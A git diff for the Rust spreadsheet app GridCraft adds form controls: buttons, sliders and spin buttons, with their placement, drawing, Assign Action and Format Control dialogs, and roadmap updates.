crates/ui-egui/src/form_controls.rs | 443 +++++++++++++++ crates/ui-egui/src/grid.rs | 8 + crates/ui-egui/src/grid/cursor.rs | 15 +- crates/ui-egui/src/grid/interact.rs | 17 +- crates/ui-egui/src/grid/keyboard.rs | 19 +- crates/ui-egui/src/grid/menus.rs | 15 +- crates/ui-egui/src/i18n/cs.rs | 9 + crates/ui-egui/src/i18n/de.rs | 13 + crates/ui-egui/src/i18n/el.rs | 11 + crates/ui-egui/src/i18n/es.rs | 13 + crates/ui-egui/src/i18n/fr.rs | 11 + crates/ui-egui/src/i18n/it.rs | 13 + crates/ui-egui/src/i18n/ja.rs | 9 + crates/ui-egui/src/i18n/ko.rs | 9 + crates/ui-egui/src/i18n/nl.rs | 11 + crates/ui-egui/src/i18n/pl.rs | 11 + crates/ui-egui/src/i18n/pt.rs | 13 + crates/ui-egui/src/i18n/ro.rs | 11 + crates/ui-egui/src/i18n/ru.rs | 11 + crates/ui-egui/src/i18n/sr.rs | 11 + crates/ui-egui/src/i18n/tr.rs | 11 + crates/ui-egui/src/i18n/uk.rs | 11 + crates/ui-egui/src/i18n/vi.rs | 9 + crates/ui-egui/src/i18n/zh.rs | 9 + crates/ui-egui/src/icons.rs | 23 + .../src/keytips/keytip_table/generated.rs | 3 + crates/ui-egui/src/keytips/keytips.json | 21 + crates/ui-egui/src/lib.rs | 2 + crates/ui-egui/src/objects.rs | 6 +- crates/ui-egui/src/ribbon.rs | 4 +- crates/ui-egui/src/ribbon/insert.rs | 24 +- crates/ui-egui/src/theme.rs | 31 +- crates/ui-egui/tests/it/form_controls.rs | 421 ++++++++++++++ crates/ui-egui/tests/it/keytips_generated.rs | 23 +- crates/ui-egui/tests/it/main.rs | 1 + docs/control-protocol.md | 6 +- docs/parity-checklist.md | 12 +- docs/target-app-parity.md | 15 +- docs/ui-parity.md | 5 +- 45 files changed, 1839 insertions(+), 32 deletions(-) create mode 100644 crates/ui-egui/src/control_ui.rs create mode 100644 crates/ui-egui/src/form_controls.rs create mode 100644 crates/ui-egui/tests/it/form_controls.rs diff --git a/ROADMAP.md b/ROADMAP.md index 8afe566c6..1a42a5fd6 100644 --- a/ROADMAP.md +++ b/ROADMAP.md @@ -2,7 +2,7 @@ **Stage: alpha** · next: beta, ~25 points of "ready for real work" and ~160–240 h away -> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-31 · **Change:** minor (floating objects: one selection, eight resize handles, keyboard delete; earlier: AutoSum over a selected row puts its total to the right, and fills a selection's empty last row and column; earlier: macro engine and `macro.*` commands; macro interface on the Automate tab) · **Target:** Microsoft Excel (Microsoft 365) +> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-31 · **Change:** minor (form controls: buttons, sliders and spin buttons; earlier: floating objects: one selection, eight resize handles, keyboard delete; earlier: AutoSum over a selected row puts its total to the right, and fills a selection's empty last row and column; earlier: macro engine and `macro.*` commands; macro interface on the Automate tab) · **Target:** Microsoft Excel (Microsoft 365) GridCraft aims at full Microsoft Excel parity, and at being better in places: faster, open (XLSX is the native format), fully scriptable by agents (MCP, control channel, CLI), and on the web. @@ -22,7 +22,7 @@ This page is the summary. The detail is in: | Number | Value | Kind | |---|---|---| | 2026-10-14 | Editing a cell with text that would read back as a number, boolean, date or formula (entered with a leading apostrophe) shows the apostrophe in the editor and formula bar, so Enter unchanged keeps it text (#1362) | -| **Feature breadth** (weighted) | **~75%** | estimated, anchored on two measurements: ribbon catalog 276 / 292 (94.5%), worksheet functions 513 / 523 (98.1%; 504 working, 96.4%) | +| **Feature breadth** (weighted) | **~75%** | estimated, anchored on two measurements: ribbon catalog 280 / 296 (94.6%), worksheet functions 513 / 523 (98.1%; 504 working, 96.4%) | | **Ready for real work** | **~50%** | estimated from written weights (51.6); [target-app-parity.md](docs/target-app-parity.md) | | **Mainstream practitioner** | **~50%** | estimated: typical analyst/finance user, weekly features, × 0.90 interaction × 0.92 stability × 0.88 file exchange; [method](docs/target-app-parity.md#mainstream-practitioner) | | **Essentials user** | **~63%** | estimated: core features only, × 0.92 launch/stability × 0.95 clarity × 0.90 opening sent files; [method](docs/target-app-parity.md#essentials-user) | @@ -135,6 +135,7 @@ Ranked; estimates in Opus 5.5 agent-hours. Detail and the full beta-gate list in | Date | What landed | |---|---| +| 2026-10-31 | Form controls: Insert › Controls places buttons, sliders (scroll bars) and spin buttons on the sheet. A slider or spin button holds a whole number from 0 to 30000 in a linked cell (a drag or a held arrow is one undo step, and editing the cell moves the control); a button runs a macro or one command through the macro policy, asking first in a workbook opened from a file; Assign Action and Format Control edit them, and XLSX files read and write them (control properties, `` and VML), alongside the form controls GridCraft keeps unchanged | | 2026-10-31 | Floating objects: charts, pictures, shapes and slicers share one selection with a frame of eight resize handles (each moves only its own edges, also on right-to-left sheets); Delete or Backspace deletes the selected object and Escape drops the selection; slicers follow row and column edits and sorts like the other objects; chart series follow cut-moves and sheet renames and deletes; a copied sheet gives its objects fresh ids; `ui.inspect` reports `selectedObject` and `ui.object.select` selects any object (#190, #213) | | 2026-10-25 | AutoSum over a selection does what Excel does: a selected row gets one total to its right (in its last cell if that is empty), not a one-cell total under each cell; a block whose last column is empty gets each row's total there, one whose last row is empty each column's, and with both the corner gets the total of the block; otherwise totals go under each column as before | | 2026-10-24 | Macro interface ([macros.md](docs/macros.md#in-the-window)): an Automate › Macros group (Record Macro, which turns into Stop Recording, Use Relative References, Run Macro with recent macros); "Recording · N steps" with Stop in the status bar; a Record Macro dialog (checked name, free Ctrl+Shift shortcut, description); the Macros dialog lists macros beside Automate scripts and a VBA project, with Run, Step Into, Edit, Create, Delete and Options; Ctrl+Shift+letter macro shortcuts; questions that offer Run, Overwrite, Shift Down or Shift Right; a step editor with a breakpoint gutter, drag to reorder, a command picker, reference boxes that switch between relative tokens and absolute references, Inputs and Output tabs, a debug bar (Check, Run, Step, Continue, Run to Here, Stop with keep or undo) and grid overlays for inputs, writes, conflicts and the current step | @@ -245,6 +246,7 @@ Ranked; estimates in Opus 5.5 agent-hours. Detail and the full beta-gate list in | Date | Change | Summary | |---|---|---| +| 2026-10-31 | minor | Form controls; catalog 276 / 292 → 280 / 296 (Developer › Controls); progress log row | | 2026-10-31 | minor | Progress log: one selection and eight resize handles for every floating object | | 2026-10-25 | minor | Progress log: AutoSum over a selected row, and a selection's empty last row and column | | 2026-10-24 | minor | Macro interface on the Automate tab; progress log row | diff --git a/crates/engine/src/catalog.rs b/crates/engine/src/catalog.rs index 45455e00b..234e92e58 100644 --- a/crates/engine/src/catalog.rs +++ b/crates/engine/src/catalog.rs @@ -275,6 +275,11 @@ pub const CATALOG: &[(&str, &str, &str, &str)] = &[ ("automate.allScripts", "Automate", "Scripting Tools", "All Scripts"), ("automate.recordActions", "Automate", "Scripting Tools", "Record Actions"), ("automate.trustScripts", "Automate", "Scripting Tools", "Trust Scripts"), + // Developer (Insert › Controls in GridCraft) + ("insert.button", "Developer", "Controls", "Button (Form Control)"), + ("insert.spinButton", "Developer", "Controls", "Spin Button (Form Control)"), + ("insert.slider", "Developer", "Controls", "Scroll Bar (Form Control)"), + ("control.format", "Developer", "Controls", "Properties"), // Table Design ("table.rename", "Table Design", "Properties", "Table Name"), ("table.resize", "Table Design", "Properties", "Resize Table"), diff --git a/crates/ui-egui/src/chartview.rs b/crates/ui-egui/src/chartview.rs index efa19d3d7..3881b4cc3 100644 --- a/crates/ui-egui/src/chartview.rs +++ b/crates/ui-egui/src/chartview.rs @@ -1,5 +1,5 @@ //! Floating objects on the sheet: charts (rendered by `gridcraft-chart` into primitives that -//! we paint with egui), pictures, shapes and slicers. +//! we paint with egui), pictures, shapes, slicers and form controls (`form_controls.rs`). use egui::epaint::{PathShape, PathStroke}; use egui::{Align2, Color32, FontId, Painter, Pos2, Rect, Stroke, StrokeKind, pos2, vec2}; @@ -376,6 +376,18 @@ pub(crate) fn paint_objects(app: &SheetApp, p: &Painter, geo: &Geo, wb: &Workboo done(start, r); } paint_slicers(p, geo, wb, si, sh); + // Form controls sit above every other object. + let hover = p.ctx().input(|i| i.pointer.hover_pos()).map(|h| geo.mirror_pos(h)).filter(|h| geo.in_cells(*h)); + for c in &sh.controls { + let r = anchor_rect(geo, sh, &c.anchor); + // A slider's value shows beside it while it is dragged. + if !r.expand(24.0).intersects(p.clip_rect()) { + continue; + } + let start = p.add(egui::Shape::Noop); + crate::form_controls::paint(p, r, c, geo.z, crate::form_controls::look(app, geo, c, r, hover)); + done(start, r); + } // The selected object's frame and handles go over every object, and move with it on a // right-to-left sheet. if let Some(r) = app.selected_object.and_then(|o| object_rect(geo, sh, o)) @@ -518,13 +530,19 @@ pub fn selected_handle(app: &SheetApp, geo: &Geo, sh: &Sheet, p: Pos2) -> Option crate::objects::handle_at(r, p).map(|h| (o, r, h)) } -/// The topmost object under `p` and its rect: slicers paint on top, so they are hit first, then -/// charts, pictures and shapes, each from the top of its stack. Nothing is hit outside the cell -/// area or while objects are hidden. +/// The topmost object under `p` and its rect: form controls paint on top, so they are hit first, +/// then slicers, charts, pictures and shapes, each from the top of its stack. Nothing is hit +/// outside the cell area or while objects are hidden. pub fn hit(app: &SheetApp, geo: &Geo, sh: &Sheet, p: Pos2) -> Option<(ObjRef, Rect)> { if !geo.cells.contains(p) || app.session.active().is_some_and(|d| objects_hidden(&d.wb)) { return None; } + for c in sh.controls.iter().rev() { + let r = anchor_rect(geo, sh, &c.anchor); + if r.contains(p) { + return Some((ObjRef::new(ObjKind::Control, c.id), r)); + } + } for sl in sh.slicers.iter().rev() { let r = anchor_rect(geo, sh, &sl.anchor); if r.contains(p) { diff --git a/crates/ui-egui/src/control_ui.rs b/crates/ui-egui/src/control_ui.rs new file mode 100644 index 000000000..4100ba2a3 --- /dev/null +++ b/crates/ui-egui/src/control_ui.rs @@ -0,0 +1,517 @@ +//! Form controls in the window, apart from drawing them: placing a new control (draw it on the +//! grid, or click for the default size), pressing a button and answering its questions, the +//! control's context menu (Edit Text, Assign Action, Format Control, Delete), and the Assign +//! Action and Format Control dialogs. Everything goes through the `insert.*` and `control.*` +//! commands. + +use egui::{Pos2, Rect, Stroke, StrokeKind, Ui, vec2}; +use gridcraft_engine::core::CellRef; +use gridcraft_engine::macros::policy::{Policy, macro_policy}; +use gridcraft_engine::model::{CONTROL_MAX, ControlAction, ControlKind, FormControl, MacroInput, ObjKind, ObjRef, Sheet}; +use serde_json::{Value as Json, json}; + +use crate::SheetApp; +use crate::dialogs::Dialog; +use crate::grid::Geo; +use crate::theme::Tokens; + +/// The control `id` on the active sheet. +pub fn control(app: &SheetApp, id: u32) -> Option { + app.session.active()?.wb.active()?.controls.iter().find(|c| c.id == id).cloned() +} + +/// Whether the control `id` on the active sheet is a button (its menu adds Edit Text and Assign +/// Action). +pub fn is_button(app: &SheetApp, id: u32) -> bool { + app.session.active().and_then(|d| d.wb.active()).is_some_and(|sh| sh.controls.iter().any(|c| c.id == id && c.kind == ControlKind::Button)) +} + +fn insert_id(kind: ControlKind) -> &'static str { + match kind { + ControlKind::Button => "insert.button", + ControlKind::Slider => "insert.slider", + ControlKind::Spin => "insert.spinButton", + } +} + +/// The cell under a logical grid position and the offset into it, in sheet points. +fn cell_point(geo: &Geo, sh: &Sheet, p: Pos2) -> (CellRef, f32, f32) { + let (col, row) = (geo.col_at(sh, p.x), geo.row_at(sh, p.y)); + let dx = ((p.x - geo.x(sh, col)) / geo.z).max(0.0); + let dy = ((p.y - geo.y(sh, row)) / geo.z).max(0.0); + (CellRef::new(row, col), dx, dy) +} + +/// Insert › Controls placement: while a kind is armed, a drag on the grid draws the control and a +/// click places it at its default size. Escape disarms. True when it used the pointer. +pub fn place(app: &mut SheetApp, ui: &Ui, resp: &egui::Response, geo: &Geo, sh: &Sheet) -> bool { + let Some(kind) = app.grid.placing else { + app.grid.place_start = None; + return false; + }; + let ctx = ui.ctx().clone(); + if ctx.input(|i| i.key_pressed(egui::Key::Escape)) { + app.grid.placing = None; + app.grid.place_start = None; + return true; + } + let pointer = ctx.input(|i| i.pointer.clone()); + // Logical positions (see `Geo::rtl`). + let pos = pointer.interact_pos().or(pointer.hover_pos()).map(|p| geo.mirror_pos(p)); + if pos.is_some_and(|p| geo.in_cells(p)) { + ctx.set_cursor_icon(egui::CursorIcon::Crosshair); + } + if pointer.primary_pressed() + && resp.contains_pointer() + && let Some(p) = pointer.press_origin().map(|p| geo.mirror_pos(p)).or(pos).filter(|p| geo.in_cells(*p)) + { + app.grid.place_start = Some(p); + } + let Some(start) = app.grid.place_start else { return resp.contains_pointer() && pointer.any_down() }; + let rect = Rect::from_two_pos(start, pos.unwrap_or(start)); + if pointer.primary_down() { + let t = Tokens::get(&ctx); + ui.painter().rect_stroke(geo.mirror_rect(rect), 2.0, Stroke::new(1.0, t.sheet_control_border), StrokeKind::Inside); + return true; + } + app.grid.place_start = None; + app.grid.placing = None; + let (cell, dx, dy) = cell_point(geo, sh, rect.min); + let mut params = json!({"at": cell.a1(), "dx": dx, "dy": dy}); + // A drag sets the size (and a slider's orientation); a click keeps the default size. + if rect.width() >= 6.0 || rect.height() >= 6.0 { + params["width"] = json!((rect.width() / geo.z).max(8.0)); + params["height"] = json!((rect.height() / geo.z).max(8.0)); + if kind == ControlKind::Slider { + params["horizontal"] = json!(rect.width() >= rect.height()); + } + } + match app.run(insert_id(kind), params) { + Ok(v) => { + if let Some(id) = v["control"].as_u64().and_then(|id| u32::try_from(id).ok()) { + app.selected_object = Some(ObjRef::new(ObjKind::Control, id)); + // A new button asks what it should run, as Excel's Assign Macro does. + if kind == ControlKind::Button { + app.open_dialog("assignAction", json!({"id": id})); + } + } + } + Err(e) => app.message = Some(("Insert Control".into(), crate::clean_error(&e))), + } + true +} + +/// Opens a control's editor (double-click): a button's text, else Format Control. +pub fn edit(app: &mut SheetApp, id: u32) { + match control(app, id).map(|c| c.kind) { + Some(ControlKind::Button) => app.open_dialog("formatControl", json!({"id": id, "textOnly": true})), + Some(_) => app.open_dialog("formatControl", json!({"id": id})), + None => {} + } +} + +// ---------------------------------------------------------------- pressing a button + +/// The question in an `approve: …` error, if it is one. +fn approve_text(e: &str) -> Option { + let rest = e.split_once("approve: ")?.1; + Some(rest.split_once(" (run again with").map_or(rest, |(q, _)| q).to_string()) +} + +/// The question in a `confirm: …` error, if it is one. +fn confirm_text(e: &str) -> Option { + let rest = e.split_once("confirm: ")?.1; + Some(rest.split_once(" (run again with").map_or(rest, |(q, _)| q).to_string()) +} + +/// Presses a button (`control.press` with `params`). A question (approve the action, or make +/// room for a macro's output) opens a prompt whose buttons press it again with the answer; any +/// other error shows in a message box. +pub fn press(app: &mut SheetApp, params: Json) { + let Err(e) = app.run("control.press", params.clone()) else { return }; + let (text, choices) = if let Some(q) = approve_text(&e) { + (q, json!([["Run", {"approve": true}]])) + } else if let Some(q) = confirm_text(&e) { + let what = q.split_once(" Overwrite them").map_or(q.as_str(), |(a, _)| a).trim_end_matches(['.', ' ']).to_string(); + ( + format!("{what}. Overwrite them, or move the data out of the way?"), + json!([["Overwrite", {"onConflict": "overwrite"}], ["Shift Down", {"onConflict": "shiftDown"}], ["Shift Right", {"onConflict": "shiftRight"}]]), + ) + } else { + app.message = Some(("Button".into(), crate::clean_error(&e))); + return; + }; + app.open_dialog("controlQuestion", json!({"text": text, "params": params, "choices": choices})); +} + +pub fn open_question(params: &Json) -> Option { + let text = params.get("text").and_then(Json::as_str)?; + let v = json!({"text": text, "params": params.get("params").cloned().unwrap_or_else(|| json!({})), "choices": params.get("choices").cloned().unwrap_or_else(|| json!([]))}); + Some(Dialog::custom("controlQuestion", "Button", v)) +} + +/// The prompt [`press`] opens: the question, a button per answer, and Cancel. +pub fn question_dialog(app: &mut SheetApp, ui: &mut Ui, d: &mut Dialog, open: &mut bool) { + ui.label(val(d, "text")); + ui.add_space(8.0); + let choices: Vec<(String, Json)> = d + .values + .get("choices") + .and_then(Json::as_array) + .map(|a| a.iter().filter_map(|c| Some((c.get(0)?.as_str()?.to_string(), c.get(1)?.clone()))).collect()) + .unwrap_or_default(); + let mut answer = None; + ui.with_layout(egui::Layout::right_to_left(egui::Align::Center), |ui| { + if ui.button(" Cancel ").clicked() { + *open = false; + } + for (label, extra) in choices.iter().rev() { + if ui.button(format!(" {label} ")).clicked() { + answer = Some(extra.clone()); + } + } + }); + if let Some(extra) = answer { + *open = false; + let mut params = d.values.get("params").cloned().unwrap_or_else(|| json!({})); + if let (Some(p), Some(x)) = (params.as_object_mut(), extra.as_object()) { + for (k, v) in x { + p.insert(k.clone(), v.clone()); + } + } + press(app, params); + } +} + +// ---------------------------------------------------------------- Assign Action + +fn val(d: &Dialog, key: &str) -> String { + d.values.get(key).and_then(Json::as_str).unwrap_or("").to_string() +} + +/// The workbook's macros: (name, description). +fn macros(app: &SheetApp) -> Vec<(String, String)> { + app.session.active().map(|d| d.wb.macros.iter().map(|m| (m.name.clone(), m.description.clone())).collect()).unwrap_or_default() +} + +/// Assign Action: a macro (on the selection or a fixed range, with an optional output cell) or a +/// command with its parameters. +pub fn open_assign(app: &SheetApp, params: &Json) -> Option { + let id = params.get("id").and_then(Json::as_u64).and_then(|i| u32::try_from(i).ok())?; + let c = control(app, id)?; + let mut v = + json!({"id": id, "mode": "macro", "macro": "", "input": "selection", "range": "", "output": "", "command": "", "params": "{}", "search": ""}); + match &c.action { + Some(ControlAction::Macro { name, input, output }) => { + v["macro"] = json!(name); + if let MacroInput::Fixed(r) = input { + v["input"] = json!("fixed"); + v["range"] = json!(r); + } + v["output"] = json!(output.clone().unwrap_or_default()); + } + Some(ControlAction::Command { id, params }) => { + v["mode"] = json!("command"); + v["command"] = json!(id); + v["params"] = json!(serde_json::to_string_pretty(params).unwrap_or_else(|_| "{}".into())); + } + None => { + // A new button suggests the workbook's first macro. + v["macro"] = json!(macros(app).first().map(|m| m.0.clone()).unwrap_or_default()); + } + } + Some(Dialog::custom("assignAction", &format!("Assign Action: {}", c.display_name()), v)) +} + +/// The `control.assign` params the dialog describes, or why it can't yet. +pub fn assign_params(d: &Dialog) -> Result { + let id = d.values.get("id").cloned().unwrap_or(Json::Null); + if val(d, "mode") == "command" { + let command = val(d, "command"); + if command.trim().is_empty() { + return Err("Choose a command.".into()); + } + let text = val(d, "params"); + let params: Json = if text.trim().is_empty() { + json!({}) + } else { + serde_json::from_str(&text).map_err(|e| format!("The parameters aren't valid JSON: {e}"))? + }; + if !params.is_object() { + return Err("The parameters must be a JSON object, such as {\"range\": \"A1:B2\"}.".into()); + } + return Ok(json!({"id": id, "command": command.trim(), "params": params})); + } + let name = val(d, "macro"); + if name.trim().is_empty() { + return Err("Type or choose a macro name.".into()); + } + let input = if val(d, "input") == "fixed" { val(d, "range") } else { "selection".into() }; + if input.trim().is_empty() { + return Err("Type the range the macro always runs on.".into()); + } + Ok(json!({"id": id, "macro": name.trim(), "input": input.trim(), "output": val(d, "output").trim()})) +} + +/// Commands a button may run whose id or label contains `search` (every one when it is empty): +/// (id, label). File commands are left out: the ones a button may run only produce bytes. +fn command_choices(search: &str) -> Vec<(&'static str, &'static str)> { + let q = search.trim().to_lowercase(); + gridcraft_engine::command_specs() + .iter() + .filter(|c| c.journal && !c.id.starts_with("file.")) + .filter(|c| !matches!(macro_policy(c.id, &json!({}), gridcraft_engine::Trust::Local), Policy::Deny(_))) + .filter(|c| q.is_empty() || c.id.to_lowercase().contains(&q) || c.label.to_lowercase().contains(&q)) + .map(|c| (c.id, c.label)) + .take(200) + .collect() +} + +fn text_field(ui: &mut Ui, d: &mut Dialog, key: &str, width: f32) { + let mut s = val(d, key); + ui.add(egui::TextEdit::singleline(&mut s).desired_width(width).id_salt(("control_dialog", key.to_string()))); + d.values.insert(key.into(), json!(s)); +} + +pub fn assign_dialog(app: &mut SheetApp, ui: &mut Ui, d: &mut Dialog, open: &mut bool) { + let t = Tokens::get(ui.ctx()); + let mut mode = val(d, "mode"); + ui.horizontal(|ui| { + ui.radio_value(&mut mode, "macro".to_string(), "Run a macro"); + ui.radio_value(&mut mode, "command".to_string(), "Run a command"); + }); + d.values.insert("mode".into(), json!(mode)); + ui.add_space(4.0); + if mode == "macro" { + let macros = macros(app); + let mut name = val(d, "macro"); + ui.label("Macro name:"); + ui.add(egui::TextEdit::singleline(&mut name).desired_width(f32::INFINITY).id_salt("assign_macro")); + egui::Frame::NONE.fill(t.input_bg).stroke(Stroke::new(1.0, t.input_border)).inner_margin(2.0).show(ui, |ui| { + ui.set_min_size(vec2(ui.available_width(), 110.0)); + egui::ScrollArea::vertical().max_height(110.0).show(ui, |ui| { + if macros.is_empty() { + ui.label(egui::RichText::new("This workbook has no macros yet.").italics().color(t.text_dim)); + } + for (n, desc) in ¯os { + let r = + ui.add(egui::Button::selectable(n.eq_ignore_ascii_case(name.trim()), n.as_str()).min_size(vec2(ui.available_width(), 20.0))); + let r = if desc.is_empty() { r } else { r.on_hover_text(desc) }; + if r.clicked() { + name = n.clone(); + } + } + }); + }); + d.values.insert("macro".into(), json!(name)); + ui.add_space(4.0); + let mut input = val(d, "input"); + ui.label("Run it on:"); + ui.radio_value(&mut input, "selection".to_string(), "The selection when the button is pressed"); + ui.horizontal(|ui| { + ui.radio_value(&mut input, "fixed".to_string(), "Always this range:"); + if input == "fixed" { + text_field(ui, d, "range", 160.0); + } + }); + d.values.insert("input".into(), json!(input)); + ui.horizontal(|ui| { + ui.label("Output to (optional):"); + text_field(ui, d, "output", 120.0); + }); + } else { + let mut search = val(d, "search"); + let command = val(d, "command"); + ui.label("Command:"); + ui.add(egui::TextEdit::singleline(&mut search).hint_text("Search commands").desired_width(f32::INFINITY).id_salt("assign_search")); + egui::Frame::NONE.fill(t.input_bg).stroke(Stroke::new(1.0, t.input_border)).inner_margin(2.0).show(ui, |ui| { + ui.set_min_size(vec2(ui.available_width(), 130.0)); + egui::ScrollArea::vertical().max_height(130.0).show(ui, |ui| { + for (cid, label) in command_choices(&search) { + let text = format!("{label} ({cid})"); + if ui.add(egui::Button::selectable(cid == command, text).min_size(vec2(ui.available_width(), 20.0))).clicked() { + d.values.insert("command".into(), json!(cid)); + } + } + }); + }); + d.values.insert("search".into(), json!(search)); + let doc = gridcraft_engine::find_command(val(d, "command").trim()).map(|c| c.params).unwrap_or(""); + if !doc.is_empty() { + ui.label(egui::RichText::new(doc).small().color(t.text_dim)); + } + ui.label("Parameters (JSON):"); + let mut params = val(d, "params"); + ui.add(egui::TextEdit::multiline(&mut params).code_editor().desired_rows(3).desired_width(f32::INFINITY).id_salt("assign_params")); + d.values.insert("params".into(), json!(params)); + } + let problem = assign_params(d).err(); + if let Some(p) = &problem { + ui.label(egui::RichText::new(p).color(t.danger)); + } + let (ok, cancel) = ok_cancel(ui, problem.is_none()); + if cancel || (ok && assign(app, d)) { + *open = false; + } +} + +/// OK (offered while `enabled`) and Cancel at the bottom right, as the other dialogs place them: +/// (OK clicked, Cancel clicked). +fn ok_cancel(ui: &mut Ui, enabled: bool) -> (bool, bool) { + let (mut ok, mut cancel) = (false, false); + ui.add_space(8.0); + ui.with_layout(egui::Layout::right_to_left(egui::Align::Center), |ui| { + let t = Tokens::get(ui.ctx()); + ok = ui.add_enabled(enabled, egui::Button::new(egui::RichText::new(" OK ").color(t.on_accent)).fill(t.accent)).clicked(); + cancel = ui.button(" Cancel ").clicked(); + }); + (ok, cancel) +} + +/// Runs `control.assign` from the dialog. False (with the error shown) when it failed. +fn assign(app: &mut SheetApp, d: &Dialog) -> bool { + let result = assign_params(d).and_then(|params| app.run("control.assign", params).map_err(|e| crate::clean_error(&e))); + match result { + Ok(_) => true, + Err(e) => { + app.message = Some(("Assign Action".into(), e)); + false + } + } +} + +// ---------------------------------------------------------------- Format Control + +/// Format Control: a slider's or spin button's cell link, value and limits (orientation and page +/// change for sliders); a button's text. `textOnly` shows just the text (Edit Text). +pub fn open_format(app: &SheetApp, params: &Json) -> Option { + let id = params.get("id").and_then(Json::as_u64).and_then(|i| u32::try_from(i).ok())?; + let c = control(app, id)?; + let text_only = params.get("textOnly").and_then(Json::as_bool) == Some(true) && c.kind == ControlKind::Button; + let v = json!({ + "id": id, + "textOnly": text_only, + "text": c.text, + "name": c.name, + "value": c.value.to_string(), + "min": c.min.to_string(), + "max": c.max.to_string(), + "step": c.step.to_string(), + "page": c.page.to_string(), + "link": c.link.clone().unwrap_or_default(), + "horizontal": c.horizontal, + "print": c.print, + "locked": c.locked, + }); + let title = if text_only { "Edit Text".to_string() } else { format!("Format Control: {}", c.display_name()) }; + Some(Dialog::custom("formatControl", &title, v)) +} + +fn whole(text: &str) -> Option { + text.trim().parse::().ok().filter(|v| *v <= CONTROL_MAX) +} + +/// The `control.format` params the dialog describes, or the first problem with them (the same +/// rules the engine checks, so OK is only offered when it will work). +pub fn format_params(app: &SheetApp, d: &Dialog) -> Result { + let id = d.values.get("id").and_then(Json::as_u64).and_then(|i| u32::try_from(i).ok()).ok_or("The control is gone.")?; + let c = control(app, id).ok_or("The control is gone.")?; + let flag = |k: &str| d.values.get(k).and_then(Json::as_bool).unwrap_or(false); + if d.values.get("textOnly").and_then(Json::as_bool) == Some(true) { + return Ok(json!({"id": id, "text": val(d, "text")})); + } + let mut out = json!({"id": id, "name": val(d, "name"), "print": flag("print"), "locked": flag("locked")}); + if c.kind == ControlKind::Button { + out["text"] = json!(val(d, "text")); + return Ok(out); + } + let mut draft = c.clone(); + for (key, label, slot) in [ + ("min", "Minimum value", &mut draft.min), + ("max", "Maximum value", &mut draft.max), + ("step", "Incremental change", &mut draft.step), + ("page", "Page change", &mut draft.page), + ] { + if key == "page" && c.kind != ControlKind::Slider { + continue; + } + *slot = whole(&val(d, key)).ok_or_else(|| format!("{label} must be a whole number from 0 to {CONTROL_MAX}."))?; + out[key] = json!(*slot); + } + draft.check_numbers()?; + let value = whole(&val(d, "value")).ok_or_else(|| format!("Current value must be a whole number from 0 to {CONTROL_MAX}."))?; + if value < draft.min || value > draft.max { + return Err(format!("Current value must be between {} and {}.", draft.min, draft.max)); + } + out["value"] = json!(value); + out["link"] = json!(val(d, "link").trim()); + if c.kind == ControlKind::Slider { + out["horizontal"] = json!(flag("horizontal")); + } + Ok(out) +} + +pub fn format_dialog(app: &mut SheetApp, ui: &mut Ui, d: &mut Dialog, open: &mut bool) { + let t = Tokens::get(ui.ctx()); + let Some(c) = d.values.get("id").and_then(Json::as_u64).and_then(|i| u32::try_from(i).ok()).and_then(|id| control(app, id)) else { + *open = false; + return; + }; + let text_only = d.values.get("textOnly").and_then(Json::as_bool) == Some(true); + if c.kind == ControlKind::Button { + let mut text = val(d, "text"); + ui.label("Text:"); + ui.add(egui::TextEdit::multiline(&mut text).desired_rows(2).desired_width(f32::INFINITY).id_salt("control_text")); + d.values.insert("text".into(), json!(text)); + } else { + egui::Grid::new("format_control_grid").num_columns(2).spacing([12.0, 6.0]).show(ui, |ui| { + let mut fields = vec![("value", "Current value:"), ("min", "Minimum value:"), ("max", "Maximum value:"), ("step", "Incremental change:")]; + if c.kind == ControlKind::Slider { + fields.push(("page", "Page change:")); + } + fields.push(("link", "Cell link:")); + for (key, label) in fields { + ui.label(label); + text_field(ui, d, key, if key == "link" { 160.0 } else { 90.0 }); + ui.end_row(); + } + }); + if c.kind == ControlKind::Slider { + let mut h = d.values.get("horizontal").and_then(Json::as_bool).unwrap_or(true); + ui.horizontal(|ui| { + ui.label("Orientation:"); + ui.radio_value(&mut h, true, "Horizontal"); + ui.radio_value(&mut h, false, "Vertical"); + }); + d.values.insert("horizontal".into(), json!(h)); + } + } + if !text_only { + ui.add_space(4.0); + ui.horizontal(|ui| { + ui.label("Name:"); + let mut name = val(d, "name"); + ui.add(egui::TextEdit::singleline(&mut name).hint_text(c.display_name()).desired_width(200.0).id_salt("control_name")); + d.values.insert("name".into(), json!(name)); + }); + for (key, label) in [("locked", "Locked (when the sheet is protected)"), ("print", "Print object")] { + let mut on = d.values.get(key).and_then(Json::as_bool).unwrap_or(true); + ui.checkbox(&mut on, label); + d.values.insert(key.into(), json!(on)); + } + } + let params = format_params(app, d); + if let Err(p) = ¶ms { + ui.label(egui::RichText::new(p).color(t.danger)); + } + let (ok, cancel) = ok_cancel(ui, params.is_ok()); + if cancel { + *open = false; + } + if ok && let Ok(p) = params { + match app.run("control.format", p) { + Ok(_) => *open = false, + Err(e) => app.message = Some(("Format Control".into(), crate::clean_error(&e))), + } + } +} diff --git a/crates/ui-egui/src/dialogs.rs b/crates/ui-egui/src/dialogs.rs index 92187d5c0..411992c27 100644 --- a/crates/ui-egui/src/dialogs.rs +++ b/crates/ui-egui/src/dialogs.rs @@ -1017,6 +1017,9 @@ impl Dialog { dialog } "pickList" => Dialog::custom("pickList", "Pick From List", json!({})), + "assignAction" => return crate::control_ui::open_assign(app, ¶ms), + "formatControl" => return crate::control_ui::open_format(app, ¶ms), + "controlQuestion" => return crate::control_ui::open_question(¶ms), "saveCopy" => Dialog::custom("saveCopy", "Save a Copy", json!({"format": p("format")})), "saveChanges" => Dialog::custom("saveChanges", "Save Changes?", json!({"title": p("title"), "quit": p("quit")})), "start" => Dialog::custom("start", "GridCraft", json!({})), diff --git a/crates/ui-egui/src/dialogs/show.rs b/crates/ui-egui/src/dialogs/show.rs index 071a94e5b..8a2acc010 100644 --- a/crates/ui-egui/src/dialogs/show.rs +++ b/crates/ui-egui/src/dialogs/show.rs @@ -143,6 +143,7 @@ pub fn show(app: &mut SheetApp, ctx: &egui::Context) { "recommendedCharts" => 600.0, "analysisToolPak" => 420.0, "solver" => 460.0, + "assignAction" => 440.0, "zoom" => 220.0, "pasteSpecial" => 480.0, _ => 380.0, @@ -184,6 +185,9 @@ pub fn show(app: &mut SheetApp, ctx: &egui::Context) { "solver" => solver(ui, &mut d, &mut confirm, &mut open), "solverResults" => 